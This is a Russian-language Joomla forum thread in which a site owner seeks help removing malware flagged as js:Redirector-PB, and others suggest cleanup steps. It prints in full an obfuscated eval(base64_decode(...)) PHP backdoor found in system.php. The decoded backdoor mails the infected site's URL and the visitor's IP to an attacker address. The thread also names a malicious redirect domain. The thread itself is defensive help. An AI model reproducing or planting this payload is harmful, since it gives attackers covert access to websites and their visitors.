Вирус на сайте js:Redirector-PB [Trj] кто сталкивался объясните чайнику - Безопасность сайтов на Joomla

сайт toolplus.ru, аваст там обнаруживает вирус js:Redirector-PB [Trj], почитал на форуме нашел что можно его убить найдя во всех js вот это: Array.prototype.slice.call(arguments).join, нашел 550 файлов РУКАМИ их все почистил, все делал на компе. начинаю проверять авастом он мне выдает одну угрозу в system.php, не могу понять что там может сидеть, потом как с php не знаком. может кто сталкивался с такой проблемой? помогите  ! ! !

ищи в файлах тот же яваскрипт,обычно с тегами <> в конце файла

Напиши в ПМ дам одну сильную штуку!

нашел  в system.php вот это: eval(base64_decode("JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCEkdmlzaXRjKSB7CgkkdmlzaXRjICA9
IDA7CgkkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOwoJJHdlYiAgICAgPSAkX1NF
UlZFUlsiSFRUUF9IT1NUIl07CgkkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwoJ
JHRhcmdldCAgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsKCSRqdWR1bCAgID0gIlNoZWxsOiBo
dHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7CgkkYm9keSAgICA9ICJTaGVsbDogaHR0cDovLyR0
YXJnZXQgYnkgJHZpc2l0b3IiOwoJQG1haWwoInNoZWxsLmJkb29yQGdtYWlsLmNvbSIsICRqdWR1
bCwgJGJvZHkpOwp9IGVsc2UgewoJJHZpc2l0YysrOwp9CgpAc2V0Y29va2llKCJ2aXNpdHMiLCAk
dmlzaXRjKTs="));

теперь нод выкидывает просто предупрждение на какую то стороннюю ссылку. вот с этим тоже беда! никак найти не могу. Kyrsor не совсем понял куда написать тебе? извини если подтупливаю! мозг взрывается

ссылка вот такая: fnjniadwrd.buyshouses.net

Так удали все что в операторе eval(base64.А еще вариант - перезалей Joomla или нужный каталог,типа system

удалил! все что было в операторе! все равно аваст тревогу бьет!(((((((

Именно на этот файл?Ищи в других,а лучше перезалей,если хостинг нормальный.

fnjniadwrd.buyshouses.net вот эту ссылку показывает как вирус(( перезалил сайт все равно такая фигня....

$controller->execute( JRequest::getCmd( 'task' ) );
$controller->redirect();   
 
а вот этот код не может быть вирусом?

попробуй
1 кеш хорошо почисть
2 смени шаблон по умолчанию
3 переименуй папку images

А какая версия Joomla ?
Я не вижу ссылку  fnjniadwrd.buyshouses.net  

А что это за ссылка на варез http://forjoomla.ru/

версия 1.5

http://forjoomla.ru/ с этого сайта модуль скачивал один

Дело в том что я не вижу ссылки которую ты написал  fnjniadwrd.buyshouses.net 
Сейчас до конца прогоню твой сайт

аваст ругается на эту ссылку

Хорошо почисть кеш сайта и браузер кеш куки короче все

попробую! спасибо!

Так может и аваст записал в журнал адрес сайта

спасибо всем за поддержку! обращайтесь, всегда буду рад помочь!

закрывая тему хочу сказать что обсуждаемая проблема здесь была решена! т.е. вирус убит! всем спасибо!))))))))